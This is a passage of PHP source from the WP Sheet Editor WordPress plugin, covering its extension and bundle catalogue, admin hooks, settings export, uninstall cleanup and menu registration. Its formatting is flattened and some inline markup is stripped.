                  'inactive_action_url' => 'https://wpsheeteditor.com/go/events-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=events', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsee_fs', 'bundle' => false, 'class_function_name' => 'VGSE_EVENTS_IS_PREMIUM', 'wp_org_slug' => 'bulk-edit-events', 'post_types' => array( 'tribe_events', 'tribe_organizer', 'tribe_venue' ), 'extension_id' => 22, ), 'give' => array( 'title' => __( 'Give Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-gift', 'image' => '', 'description' => __( '

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/extensions/givewp-donations-spreadsheet/?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=givewp', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'wpsegwf_fs', 'bundle' => false, 'class_function_name' => 'VGSE_GIVEWP_IS_PREMIUM', 'wp_org_slug' => '', 'post_types' => array( 'give_forms', 'give_payment', $GLOBALS['wpdb']->prefix . 'give_donors' ), 'extension_id' => 129, ), 'frontend_editor' => array( 'title' => __( 'Display the spreadsheet editor in the frontend', 'vg_sheet_editor' ), 'icon' => 'fa-rocket', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_url' => 'https://wpsheeteditor.com/go/frontend-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=frontend', 'inactive_action_label' => __( 'Buy', 'vg_sheet_editor' ), 'freemius_function' => 'bepof_fs', 'bundle' => false, 'class_function_name' => 'VGSE_FRONTEND_IS_PREMIUM', 'post_types' => array(), 'extension_id' => 25, ), 'woocommerce' => array( 'title' => __( 'WooCommerce - Products Integration', 'vg_sheet_editor' ), 'icon' => 'fa-shopping-cart', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  // //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_WooCommerce', 'wp_org_slug' => 'woo-bulk-edit-products', 'post_types' => array( 'product' ), 'extension_id' => 17, ), 'custom_post_types' => array( 'title' => __( 'Custom post types', 'vg_sheet_editor' ), 'icon' => 'fa-file', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  ', 'vg_sheet_editor' ), // incluir

                  // //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_CPTs', 'post_types' => array(), ), 'columns_renaming' => array( 'title' => __( 'Columns renaming', 'vg_sheet_editor' ), 'icon' => 'fa-exchange', // fa-search 'image' => '', // fa-search 'description' => __( '

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_label' => __( 'Install for Free', 'vg_sheet_editor' ), 'inactive_action_url' => $free_plugin_base_url . 'wp-sheet-editor-columns-renaming', // 'status' => __('Free.', 'vg_sheet_editor' ), // vacío o installed 'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_Columns_Renaming', 'post_types' => array(), ), 'yoast' => array( 'title' => __( 'YOAST SEO', 'vg_sheet_editor' ), 'icon' => 'fa-google', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_label' => __( 'Install for Free', 'vg_sheet_editor' ), 'inactive_action_url' => $free_plugin_base_url . 'wp-sheet-editor-yoast-seo', // 'status' => __('Free.', 'vg_sheet_editor' ), // vacío o installed 'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_YOAST_SEO', 'post_types' => array(), ), 'advanced_filters' => array( 'title' => __( 'Advanced Search', 'vg_sheet_editor' ), 'icon' => 'fa-search', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  ', 'vg_sheet_editor' ), // incluir

                  //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'users', 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_Advanced_Filters', 'post_types' => array(), ), 'replace_formulas' => array( 'title' => __( 'Formulas', 'vg_sheet_editor' ), 'icon' => 'fa fa-pencil-square', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  // //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'users', 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_Formulas', 'post_types' => array(), ), 'math_formulas' => array( 'title' => __( 'Math Formulas', 'vg_sheet_editor' ), 'icon' => 'fa-hashtag', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  ', 'vg_sheet_editor' ), // incluir

                  //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'users', 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_Formulas', 'post_types' => array(), ), 'acf' => array( 'title' => __( 'Advanced Custom Fields', 'vg_sheet_editor' ), 'icon' => 'fa-files-o', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  ', 'vg_sheet_editor' ), // incluir

                  //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'users', 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_ACF', 'post_types' => array(), ), 'custom_columns' => array( 'title' => __( 'Edit Custom Fields in Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-plus', // fa-search 'image' => '', // fa-search 'description' => __( '

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  ', 'vg_sheet_editor' ), // incluir

                  //'status' => __('Included in "Pro Bundle".', 'vg_sheet_editor' ), // vacío o installed 'bundle' => array( 'users', 'custom_post_types' ), 'class_function_name' => 'WP_Sheet_Editor_Custom_Columns', 'post_types' => array(), ), 'posts' => array( 'title' => __( 'Edit Posts and Pages in Spreadsheet', 'vg_sheet_editor' ), 'icon' => 'fa-table', // fa-search 'image' => '', // fa-search 'description' => __( '

                  Edit default post fields in spreadsheet.

                  ', 'vg_sheet_editor' ), // incluir

                  // 'bundle' => array('custom_post_types'), 'class_function_name' => 'WP_Sheet_Editor_Dist', 'wp_org_slug' => 'wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages', 'post_types' => array(), // We can't add post types here, they are added in $this->bundles. 'extension_id' => 20, ), 'wc_lite' => array( 'title' => __( 'WooCommerce - BASIC integration', 'vg_sheet_editor' ), 'icon' => 'fa-table', // fa-search 'image' => '', // fa-search 'description' => __( '

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  ', 'vg_sheet_editor' ), // incluir

                  // 'bundle' => array('custom_post_types'), 'class_function_name' => 'WP_Sheet_Editor_Dist', 'wp_org_slug' => 'woo-bulk-edit-products', 'post_types' => array( 'product' ), 'extension_id' => 17, ), 'columns_visibility' => array( 'title' => __( 'Columns visibility', 'vg_sheet_editor' ), 'icon' => 'fa-cog', // fa-search 'image' => '', // fa-search 'description' => __( '

                  You can show, hide, and sort columns in the spreadsheet.

                  ', 'vg_sheet_editor' ), // incluir

                  'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_Columns_Visibility', 'post_types' => array(), ), 'autofill' => array( 'title' => __( 'Autofill cells', 'vg_sheet_editor' ), 'icon' => '', // fa-search 'image' => '', // fa-search 'description' => __( '

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  ', 'vg_sheet_editor' ), // incluir

                  'button_label' => __( 'Install for Free', 'vg_sheet_editor' ), 'button_url' => $free_plugin_base_url . 'wp-sheet-editor-autofill', 'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_Autofill_Cells', 'post_types' => array(), ), 'basic_filters' => array( 'title' => __( 'Basic search', 'vg_sheet_editor' ), 'icon' => 'fa-search', // fa-search 'description' => __( '

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  ', 'vg_sheet_editor' ), // incluir

                  // 'button_label' => __('Install for Free', 'vg_sheet_editor' ), // 'button_url' => $free_plugin_base_url . 'wp-sheet-editor-autofill', 'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_Filters', 'post_types' => array(), ), 'columns_resizing' => array( 'title' => __( 'Columns resizing', 'vg_sheet_editor' ), 'icon' => 'fa-arrows-h', // fa-search 'description' => __( '

                  Resize columns in the spreadsheet and save it for future sessions.

                  ', 'vg_sheet_editor' ), // incluir

                  'bundle' => false, 'class_function_name' => 'VGSE_Columns_Resizing', 'post_types' => array(), ), 'post_templates' => array( 'title' => __( 'Duplicate (Tool)', 'vg_sheet_editor' ), 'icon' => 'fa-copy', // fa-search 'description' => __( '

                  Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  ', 'vg_sheet_editor' ), // incluir

                  'inactive_action_label' => __( 'Install for Free', 'vg_sheet_editor' ), 'inactive_action_url' => $free_plugin_base_url . 'wp-sheet-editor-post-templates', 'bundle' => false, 'class_function_name' => 'WP_Sheet_Editor_Post_Templates', 'post_types' => array(), ), ) ); $this->bundles = apply_filters( 'vg_sheet_editor/extensions/bundles', array( 'custom_post_types' => array( 'name' => __( 'Everything you need for All Posts Types and Products', 'vg_sheet_editor' ), 'old_price' => '99.99', 'price' => '49.99', 'percentage_off' => 50, 'coupon' => null, 'extensions' => array(), 'inactive_action_url' => 'https://wpsheeteditor.com/buy-extension/?extension_id=886&utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=posts-bundle', 'inactive_action_label' => __( 'Buy bundle', 'vg_sheet_editor' ), 'freemius_function' => 'vgse_freemius', 'wp_org_slug' => 'wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages', 'post_types' => array(), ), 'users' => array( 'name' => __( 'Everything you need for Users and Customers', 'vg_sheet_editor' ), 'old_price' => '99.99', 'price' => '49.99', 'percentage_off' => 50, 'coupon' => null, 'extensions' => array(), 'inactive_action_url' => 'https://wpsheeteditor.com/go/users-addon?utm_source=wp-admin&utm_medium=extensions-list&utm_campaign=users-bundle', 'inactive_action_label' => __( 'Buy bundle', 'vg_sheet_editor' ), 'freemius_function' => 'beupis_fs', 'wp_org_slug' => 'bulk-edit-user-profiles-in-spreadsheet', 'post_types' => array( 'user' ), ), ) ); // We define the post types of the bundle here because all the other extensions // and bundles are needed by get_post_types_without_own_sheet() $this->bundles['custom_post_types']['post_types'] = array_merge( array( 'post', 'page' ), array_keys( VGSE()->helpers->get_post_types_without_own_sheet() ) ); // Check if the extension is active foreach ( $this->bundles as $index => $bundle ) { $freemius = function_exists( $bundle['freemius_function'] ) ? $bundle['freemius_function']() : null; if ( $freemius ) { $this->bundles[ $index ]['inactive_action_url'] = $freemius->checkout_url(); } } foreach ( $this->extensions as $index => $extension ) { $this->extensions[ $index ]['is_active'] = ! empty( $extension['class_function_name'] ) && ( class_exists( $extension['class_function_name'] ) || function_exists( $extension['class_function_name'] ) || defined( $extension['class_function_name'] ) ); if ( ! empty( $extension['freemius_function'] ) && function_exists( $extension['freemius_function'] ) ) { $this->extensions[ $index ]['active_action_url'] = $extension['freemius_function']()->checkout_url(); $this->extensions[ $index ]['is_any_mode_active'] = true; } $this->extensions[ $index ]['has_paid_offering'] = ! empty( $extension['bundle'] ) || ! empty( $extension['freemius_function'] ); if ( ! empty( $extension['bundle'] ) ) { $bundle = $this->bundles[ current( $extension['bundle'] ) ]; $this->extensions[ $index ]['active_action_url'] = ( isset( $bundle['active_action_url'] ) ) ? $bundle['active_action_url'] : ''; $this->extensions[ $index ]['inactive_action_label'] = ( isset( $bundle['inactive_action_label'] ) ) ? $bundle['inactive_action_label'] : ''; $this->extensions[ $index ]['active_action_label'] = ( isset( $bundle['active_action_label'] ) ) ? $bundle['active_action_label'] : ''; $this->extensions[ $index ]['freemius_function'] = ( isset( $bundle['freemius_function'] ) ) ? $bundle['freemius_function'] : ''; $freemius = function_exists( $bundle['freemius_function'] ) ? $bundle['freemius_function']() : null; if ( $freemius ) { $this->extensions[ $index ]['inactive_action_url'] = $freemius->checkout_url(); } } } do_action( 'vg_sheet_editor/after_extensions_registered' ); if ( ! defined( 'VGSE_ANY_PREMIUM_ADDON' ) ) { define( 'VGSE_ANY_PREMIUM_ADDON', (bool) VGSE()->helpers->has_paid_addon_active() ); } if ( ! empty( VGSE()->options['be_disable_extension_offerings'] ) ) { add_filter( 'vg_sheet_editor/extensions/is_toolbar_allowed', '__return_false' ); add_filter( 'vg_sheet_editor/extensions/is_page_allowed', '__return_false' ); } // Init wp hooks add_action( 'admin_menu', array( $this, 'register_menu' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'register_scripts' ), 999 ); // Gutenberg add_action( 'admin_footer', array( $this, 'register_script_for_metabox_iframes' ) ); add_action( 'add_meta_boxes', array( $this, 'remove_all_metaboxes_in_gutenberg' ), 99, 2 ); add_action( 'admin_enqueue_scripts', array( $this, 'register_styles' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_media_wp_media' ) ); add_action( 'admin_init', array( $this, 'redirect_to_whats_new_page' ) ); add_action( 'wp_dashboard_setup', array( $this, 'register_dashboard_widgets' ) ); add_filter( 'wp_kses_allowed_html', array( $this, 'allow_iframes_in_html' ), 10, 2 ); VGSE()->options['be_allowed_user_roles'] = ( empty( VGSE()->options['be_allowed_user_roles'] ) || ! is_array( VGSE()->options['be_allowed_user_roles'] ) ) ? array() : array_filter( VGSE()->options['be_allowed_user_roles'] ); // Don't apply the role restrictions if the user can install plugins if ( ! empty( VGSE()->options['be_allowed_user_roles'] ) && ! current_user_can( 'install_plugins' ) ) { if ( ! is_user_logged_in() ) { add_filter( 'vg_sheet_editor/use_rest_api_only', '__return_true' ); } else { $user = get_userdata( get_current_user_id() ); if ( ! array_intersect( $user->roles, VGSE()->options['be_allowed_user_roles'] ) ) { add_filter( 'vg_sheet_editor/use_rest_api_only', '__return_true' ); } } } $rest_api_only = apply_filters( 'vg_sheet_editor/use_rest_api_only', ! empty( VGSE()->options['be_rest_api_only'] ) ); if ( ! empty( $rest_api_only ) ) { VGSE()->options['be_disable_dashboard_widget'] = true; // High priority because the parent plugins use the filter to activate the admin pages add_filter( 'vg_sheet_editor/register_admin_pages', '__return_false', 99999 ); add_filter( 'vg_sheet_editor/bootstrap/settings', array( $this, 'disable_admin_menus_when_api_only' ), 99 ); } // After all extensions are loaded add_action( 'vg_sheet_editor/after_init', array( $this, 'after_init' ), 999 ); WP_Sheet_Editor_Ajax_Obj(); do_action( 'vg_sheet_editor/after_init' ); // clear internal caches add_action( 'created_term', array( $this, 'clear_cache_after_term_created' ), 10, 3 ); add_filter( 'wp_update_term_data', array( $this, 'clear_cache_after_term_edited' ), 10, 4 ); add_action( 'delete_term', array( $this, 'clear_cache_after_term_deleted' ), 10, 3 ); add_action( 'user_register', array( $this, 'clear_cache_after_user_created' ), 10, 1 ); add_action( 'vg_sheet_editor/on_uninstall', array( $this, 'on_uninstall' ) ); add_action( 'admin_page_access_denied', array( $this, 'catch_license_page_error' ) ); $this->maybe_auto_enable_sheet(); } function maybe_auto_enable_sheet() { if ( empty( $_GET['wpse_auto_enable_sheet'] ) || ! is_admin() || ! VGSE()->helpers->user_can_manage_options() || ! VGSE()->helpers->is_editor_page() || ! VGSE()->helpers->verify_nonce_from_request( '_wpnonce' ) ) { return; } $post_types = VGSE()->get_option( 'be_post_types' ); $current_sheet_key = VGSE()->helpers->get_provider_from_query_string( false ); if ( $current_sheet_key && ! in_array( $current_sheet_key, $post_types, true ) ) { $post_types[] = $current_sheet_key; VGSE()->update_option( 'be_post_types', $post_types ); $redirect_to = esc_url_raw( remove_query_arg( array( '_wpnonce', 'wpse_auto_enable_sheet' ) ) ); wp_safe_redirect( $redirect_to ); exit(); } } function catch_license_page_error() { if ( empty( $_POST ) && ! empty( $_GET['page'] ) && preg_match( '/^(wpse|vgse|vg_sheet_editor)/', $_GET['page'] ) && strpos( $_GET['page'], '-account' ) !== false ) { $message = sprintf( __( '

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  ', 'vg_sheet_editor' ), esc_url( admin_url( 'plugin - install . php' ) ), VGSE()->get_support_links( 'contact_us', 'url', 'license - page - error' ) ); wp_die( $message ); } } function get_option( $key, $default = null ) { $out = null; if ( empty( $this->options ) ) { $this->options = get_option( $this->options_key ); } if ( isset( $this->options[ $key ] ) ) { $out = $this->options[ $key ]; } if ( empty( $out ) && is_object( VGSE()->helpers ) && empty( $default ) ) { $registered_settings = WP_Sheet_Editor_Ajax_Obj()->get_registered_settings(); if ( isset( $registered_settings[ $key ] ) && ! empty( $registered_settings[ $key ]['default'] ) ) { $default = $registered_settings[ $key ]['default']; } } if ( ! is_null( $default ) && empty( $out ) ) { $out = $default; } return $out; } function update_option( $key, $value ) { $new_options = WP_Sheet_Editor_Ajax_Obj()->_sanitize_general_options( array( $key => $value, ) ); // If this field is not registered, automatically sanitize as text field if ( empty( $new_options ) ) { $new_options = array( sanitize_text_field( $key ) => sanitize_text_field( $value ), ); } $existing_options = get_option( $this->options_key ); $final_options = wp_parse_args( $new_options, $existing_options ); update_option( $this->options_key, $final_options, false ); $this->options = wp_parse_args( $new_options, $this->options ); } function get_exportable_settings_keys() { $option_keys_like = array( 'vgse_detected_fields', 'vgse_all_meta_keys_', 'vgse_columns_visibility', 'vgse_variation_meta_keys', ); $option_keys_equal = array( 'vgse_welcome_redirect', 'vgse_hide_extensions_popup', 'vgse_disable_quick_setup', 'vgse_dismiss_review_tip', 'vgse_post_type_setup_done', 'vg_sheet_editor', 'vgse_column_groups', 'vgse_saved_exports', 'vgse_removed_columns', 'vg_sheet_editor_custom_columns', 'vgse_favorite_search_fields', 'vg_sheet_editor_custom_post_types', 'vgse_saved_searches', 'vgse_columns_manager', ); $out = array( 'like' => $option_keys_like, 'equal' => $option_keys_equal, ); return $out; } function export_settings() { global $wpdb; if ( ! VGSE()->helpers->user_can_manage_options() ) { return; } $exportable_keys = $this->get_exportable_settings_keys(); $option_keys_like = $exportable_keys['like']; $option_keys_equal = $exportable_keys['equal']; $out = array(); foreach ( $option_keys_like as $option_key ) { $out = array_merge( $out, $wpdb->get_results( $wpdb->prepare( "SELECT option_name, option_value FROM $wpdb->options WHERE option_name LIKE %s ", '%' . $wpdb->esc_like( $option_key ) . '%' ), ARRAY_A ) ); } foreach ( $option_keys_equal as $option_key ) { $out = array_merge( $out, $wpdb->get_results( $wpdb->prepare( "SELECT option_name, option_value FROM $wpdb->options WHERE option_name = %s ", $option_key ), ARRAY_A ) ); } $final = array_map( 'maybe_unserialize', wp_list_pluck( $out, 'option_value', 'option_name' ) ); $file_path = WP_CONTENT_DIR . '/uploads/wp-sheet-editor-settings-' . wp_generate_password( 12, false, false ) . '.json'; file_put_contents( $file_path, json_encode( $final, JSON_PRETTY_PRINT ) ); header( 'Content-type: application/json' ); header( 'Content-disposition: attachment; filename = ' . basename( $file_path ) ); VGSE()->helpers->readfile_chunked( $file_path ); unlink( $file_path ); die(); } function on_uninstall() { global $wpdb; // Delete unnecessary info from the DB $option_keys_like = array( 'vgse_user_path', 'vgse_hide_whats_new', 'vgse_dismiss_review_tip', 'vgse_post_type_setup_done', 'vgse_detected_fields', 'vgse_all_meta_keys_', ); $option_keys_equal = array( 'vgse_welcome_redirect', 'vgse_hide_extensions_popup', 'vgse_variation_meta_keys', 'vgse_disable_quick_setup', 'vgse_dismiss_review_tip', 'vgse_columns_visibility_migrated', 'vgse_post_type_setup_done', 'vgse_welcome_redirect', 'vgse_favorite_search_fields', 'vgse_saved_searches', 'vgse_json_fields', ); // We no longer remove the key vg_sheet_editor because it // caused issues when using the frontend sheet, the enabled post types // might be removed and break the frontend sheet if ( ! empty( $_GET['wpse_hard_reset'] ) ) { $option_keys_equal[] = 'vg_sheet_editor'; $option_keys_equal[] = 'vgse_column_groups'; } foreach ( $option_keys_like as $option_key ) { $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->options WHERE option_name LIKE %s", '%' . $wpdb->esc_like( $option_key ) . '%' ) ); } foreach ( $option_keys_equal as $option_key ) { delete_option( $option_key ); } $sheet_sessions_key = $wpdb->prefix . 'wpse_sheet_sessions'; delete_user_meta( get_current_user_id(), $sheet_sessions_key ); } function clear_cache_after_user_created( $user_id ) { wp_cache_delete( 'wpse_authors' . (int) true ); wp_cache_delete( 'wpse_authors' . (int) false ); } function clear_cache_after_term_deleted( $term_id, $tt_id, $taxonomy ) { $cache_key_name = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'name', $taxonomy, '' ); $cache_key_slug = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'slug', $taxonomy, '' ); delete_transient( $cache_key_name ); delete_transient( $cache_key_slug ); } function clear_cache_after_term_edited( $data, $term_id, $taxonomy, $args ) { $term = get_term_by( 'id', $term_id, $taxonomy ); $fields_that_require_cache_cleanup = array( 'name', 'parent', 'taxonomy' ); $must_cleanup = false; foreach ( $fields_that_require_cache_cleanup as $field_that_require_cache_cleanup ) { if ( ! empty( $args[ $field_that_require_cache_cleanup ] ) && $args[ $field_that_require_cache_cleanup ] !== $term->$field_that_require_cache_cleanup ) { $must_cleanup = true; break; } } if ( $must_cleanup ) { $cache_key_name = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'name', $taxonomy, '' ); $cache_key_slug = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'slug', $taxonomy, '' ); delete_transient( $cache_key_name ); delete_transient( $cache_key_slug ); } return $data; } function clear_cache_after_term_created( $term_id, $tt_id, $taxonomy ) { $cache_key_name = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'name', $taxonomy, '' ); $cache_key_slug = apply_filters( 'vg_sheet_editor/data/taxonomy_terms/cache_key', 'wpse_terms_' . $taxonomy . 'slug', $taxonomy, '' ); delete_transient( $cache_key_name ); delete_transient( $cache_key_slug ); } function disable_admin_menus_when_api_only( $settings ) { $settings['register_admin_menus'] = false; return $settings; } function allow_iframes_in_html( $tags, $context ) { if ( 'post' === $context ) { $tags['iframe'] = array( 'align' => true, 'width' => true, 'height' => true, 'frameborder' => true, 'allowfullscreen' => true, 'allow' => true, 'name' => true, 'src' => true, 'id' => true, 'class' => true, 'style' => true, 'scrolling' => true, 'marginwidth' => true, 'marginheight' => true, ); } return $tags; } function remove_all_metaboxes_in_gutenberg( $post_type, $post ) { global $wp_meta_boxes; if ( empty( $_GET['wpse_metabox_iframe'] ) || empty( $_GET['wpse_post_type'] ) ) { return; } $post_type = sanitize_text_field( $_GET['wpse_post_type'] ); if ( isset( $wp_meta_boxes[ $post_type ] ) ) { unset( $wp_meta_boxes[ $post_type ] ); } } function register_script_for_metabox_iframes() { if ( empty( $_GET['wpse_metabox_iframe'] ) ) { return; } ?> helpers->get_plugin_mode(); $source = VGSE()->helpers->get_provider_from_query_string(); if ( empty( $source ) ) { $source = 'wp-admin'; } $utm = 'utm_source=' . $source . '&utm_medium=' . $medium . '&utm_campaign=' . $campaign; if ( strpos( $link, '?' ) === false ) { $link .= '?' . $utm; } else { $link .= '&' . $utm; } $link = apply_filters( 'vg_sheet_editor/site_link', $link ); return esc_url( $link ); } function get_support_links( $link_key = null, $field = 'all', $campaign = 'help' ) { $medium = VGSE()->helpers->get_plugin_mode(); $source = VGSE()->helpers->get_provider_from_query_string(); if ( empty( $source ) ) { $source = 'wp-admin'; } $support_links = array( 'faq' => array( 'url' => 'https://wpsheeteditor.com/documentation/faq/?utm_source=' . $source . '&utm_medium=' . $medium . '&utm_campaign=' . $campaign, 'label' => __( 'Quick Answers', 'vg_sheet_editor' ), 'description' => __( 'You can read our FAQ with a list of hundreds of questions', 'vg_sheet_editor' ), ), 'guides' => array( 'url' => 'https://wpsheeteditor.com/blog/?utm_source=' . $source . '&utm_medium=' . $medium . '&utm_campaign=' . $campaign, 'label' => __( 'Guides and Tutorials', 'vg_sheet_editor' ), 'description' => __( 'We have +200 tutorials and guides on our blog', 'vg_sheet_editor' ), ), 'contact_us' => array( 'url' => 'https://wpsheeteditor.com/company/contact/?utm_source=' . $source . '&utm_medium=' . $medium . '&utm_campaign=' . $campaign, 'label' => __( 'Contact us', 'vg_sheet_editor' ), 'description' => __( 'Get instant help in the live chat + email support during business hours', 'vg_sheet_editor' ), ), ); $links = apply_filters( 'vg_sheet_editor/support_links', $support_links ); if ( $link_key && isset( $links[ $link_key ] ) ) { $link = $links[ $link_key ]; $out = ( $field && $field !== 'all' ) ? $link[ $field ] : $link; } else { $out = $links; } return $out; } function after_init() { } function get_plugin_install_url( $plugin_slug ) { $install_plugin_base_url = ( is_multisite() ) ? network_admin_url() : admin_url(); $install_plugin_url = add_query_arg( array( 's' => $plugin_slug, 'tab' => 'search', 'type' => 'term', ), $install_plugin_base_url . 'plugin-install.php' ); return esc_url( $install_plugin_url ); } /** * Register dashboard widgets. * Currently the only widget is "Editions stats". */ function register_dashboard_widgets() { if ( ! empty( VGSE()->options['be_disable_dashboard_widget'] ) ) { return; } add_meta_box( 'vg_sheet_editor_usage_stats', __( 'WP Sheet Editor Usage', 'vg_sheet_editor' ), array( $this, 'render_usage_stats_widget' ), 'dashboard', 'normal', 'high' ); } function render_usage_stats_widget() { require 'views/usage-stats-widget.php'; } /** * Redirect to "whats new" page after plugin update */ function redirect_to_whats_new_page() { // bail if settings are empty = fresh install if ( empty( VGSE()->options ) ) { return; } // bail if there aren\'t new features for this release if ( ! file_exists( VGSE_DIR . '/views/whats-new/' . VGSE()->version . '.php' ) ) { return; } // exit if the welcome page hasn\'t been showed if ( get_option( 'vgse_welcome_redirect' ) !== 'no' ) { return; } // exit if the page was already showed if ( get_option( 'vgse_hide_whats_new_' . VGSE()->version ) ) { return; } // Delete the redirect transient update_option( 'vgse_hide_whats_new_' . VGSE()->version, 'yes' ); // Bail if activating from network, or bulk if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) { return; } if ( ! empty( $_GET['sheet_skip_whatsnew'] ) ) { return; } wp_redirect( esc_url_raw( add_query_arg( array( 'page' => 'vg_sheet_editor_whats_new' ), admin_url( 'admin.php' ) ) ) ); exit(); } /** * Register admin pages */ function register_menu() { if ( apply_filters( 'vg_sheet_editor/register_admin_pages', true ) ) { add_menu_page( __( 'WP Sheet Editor', 'vg_sheet_editor' ), __( 'WP Sheet Editor', 'vg_sheet_editor' ), 'manage_options', 'vg_sheet_editor_setup', array( $this, 'render_quick_setup_page' ), VGSE()->plugin_url . 'assets/imgs/icon.svg' ); add_submenu_page( 'vg_sheet_editor_setup', __( 'Extensions', 'vg_sheet_editor' ), __( 'Extensions', 'vg_sheet_editor' ), 'manage_options', 'vg_sheet_editor_extensions', array( $this, 'render_extensions_page' ) ); } // Add the whats_new page only when we need to see the page if ( strpos( $_SERVER['REQUEST_URI'], 'vg_sheet_editor_whats_new' ) !== false ) { add_submenu_page( null, __( 'Sheet Editor', 'vg_sheet_editor' ), __( 'Sheet Editor', 'vg_sheet_editor' ), 'manage_options', 'vg_sheet_editor_whats_new', array( $this, 'render_whats_new_page' ) ); } } /** * Render extensions page */ function render_extensions_page() { if ( ! VGSE()->helpers->user_can_manage_options() ) { wp_die( __( 'You dont have enough permissions to view this page.', 'vg_sheet_editor' ) ); } if ( ! apply_filters( 'vg_sheet_editor/extensions/is_page_allowed', true ) ) { return; } require 'views/extensions-page.php'; } /** * Render quick setup page */ function render_quick_setup_page() { if ( ! VGSE()->helpers->user_can_manage_options() ) { wp_die( __( 'You dont have enough permissions to view this page.', 